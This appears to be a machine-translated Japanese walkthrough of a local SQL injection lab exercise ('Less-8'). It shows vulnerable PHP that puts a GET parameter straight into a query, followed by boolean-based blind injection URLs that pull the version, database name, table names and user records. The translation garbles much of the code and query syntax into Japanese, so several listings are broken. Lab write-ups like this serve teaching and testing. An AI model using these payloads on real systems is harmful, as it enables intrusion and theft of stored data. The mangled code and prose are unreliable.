ビューのソースコードは次のようです
$ ID = $ _ GET [ 'ID']; $ SQL = "SELECT * FROMユーザーID = '$ ID' LIMIT 0,1"。 $結果=するmysql_query($ SQL)。 $行=は、mysql_fetch_array($結果)。 IF($行) { エコー'<フォントサイズ= "10"色= "#1 FFFF00">'。 エコー「あなたには...........あります」; エコー「<BR>」。 エコー"</ FONT>"; } 他 { エコー'<フォントサイズ= "10"色= "#1 FFFF00">'。 //エコー「あなたはしている...........」; //ますprint_r(mysql_error()); //エコー「あなたはあなたのSQL構文でエラーが発生しています」。 エコー"</br> </ FONT>"; エコー「< フォントの色=フォントサイズ= 3> ' "#0000FF"; }
見ることができる、と比較less5、less8ソースコードMySQLエラーステートメントは、このエラー注入が死滅するように、コメントしています。あなたは、ブール、注射または遅延注入を使用することができます。
ここであなたにブール注入を示しています。
まず、バージョンを見て()
http://127.0.0.1/sql/Less-8/?id=1' 及び左(バージョン()、1)= '5' %23
ここでの発言手段バージョン番号5を見ている返された最初の、明白な結果が正しいではありません。
バージョン番号は適切な時期ではない場合、あなたはである正しく表示できません......
あなたは、データベースのバージョン番号が5.6.17で試してみることができます
私たちは、効率を改善するために、げっぷやPythonスクリプトを使用することができます。
次に、データベースの長さを見て
http://127.0.0.1/sql/Less-8/?id=1' および長さ(データベース())= 8%23
長さが8の長さを示す、誤った結果を返し、8です。
私が最初にデータベースを推測します
http://127.0.0.1/sql/Less-8/?id=1' 及び左(データベース()、1)> 'N' - +
データベース()我々はそれがS> nであり、したがって、返却する権利ことは明らかであり、nは>かどうか彼の最初の見て、セキュリティです。私たちの知識がなくても、二分法は、注入効率を改善するために使用することができるとき。
第二に推測データベース
最初はそのsと我々がトップ2を見れば、SNよりも大きく、
http://127.0.0.1/sql/Less-8/?id=1' 及び左(データベース()、2)> 'SN' - +
類推ダウン、最後のデータベースセキュリティを呼ばれています。
テーブルのセキュリティデータベースの下で取得します
http://127.0.0.1/sql/Less-8/?id=1' とASCII(TABLE_SCHEMA =データベース()限界0,1 INFORMATION_SCHEMA.TABLESからSUBSTR((セレクトテーブル名)、1,1))> 100 - +
ここでは同じ二分法を正しくテストまでのテストを使用。
最初の表は、電子メールであるため、ここでは、101である必要があります。
最初のテーブルの2番目の文字にそれを取得する方法?我々は、使用SUBSTR(**、2,1)をすることができSUBSTR()関数を、学んできました。
http://127.0.0.1/sql/Less-8/?id=1' とASCII(TABLE_SCHEMA =データベース()限界0,1 INFORMATION_SCHEMA.TABLESからSUBSTR((セレクトテーブル名)、2,1))> 108 - +
どのように、第2のテーブルにそれを取得するには?考えます!
ここでは、私たちが使用0,1を制限する上記の文を見ることができます。0手段を最初から最初の1を取得すること。その第二を取得するにはその制限1,1ではありません!
http://127.0.0.1/sql/Less-8/?id=1' とASCII(TABLE_SCHEMA =データベース()限界1,1 INFORMATION_SCHEMA.TABLESからSUBSTR((セレクトテーブル名)、1,1))> 113 - +
第二テーブルはリファラーテーブルであるため、113のリターンは、ここで正しいので、最初のものは、rです。
プロセスが常に上記繰り返した後、ここで作られた車輪を繰り返すことはしません。原則は明確に説明されています。
あなたが方法に従って終わっ実行すると、すべてのテーブルの名前を取得することが可能です。
正規表現は、表に記載されている標準的な注入のユーザーを使用して取得しました
http://127.0.0.1/sql/Less-8/?id=1' と1 =(table_nameは= information_schema.columnsから1を選択する '^米国の限界0,1ユーザーとのcolumn_name正規表現を') - +
ORD()とMID()関数を使用すると、ユーザーテーブルの内容を取得します
http://127.0.0.1/sql/Less-8/?id=1' とORD(ミッド((IDリミット0,1によってsecurity.users順から(キャスト(charとしてユーザー名)、0x20に)IFNULLを選択)、 1,1))= 68 - +
まったく同じ方法で、より少ない5時間後に証明するつもりはない、バック、中には注入効率を改善するためのPythonスクリプトを書くことができます。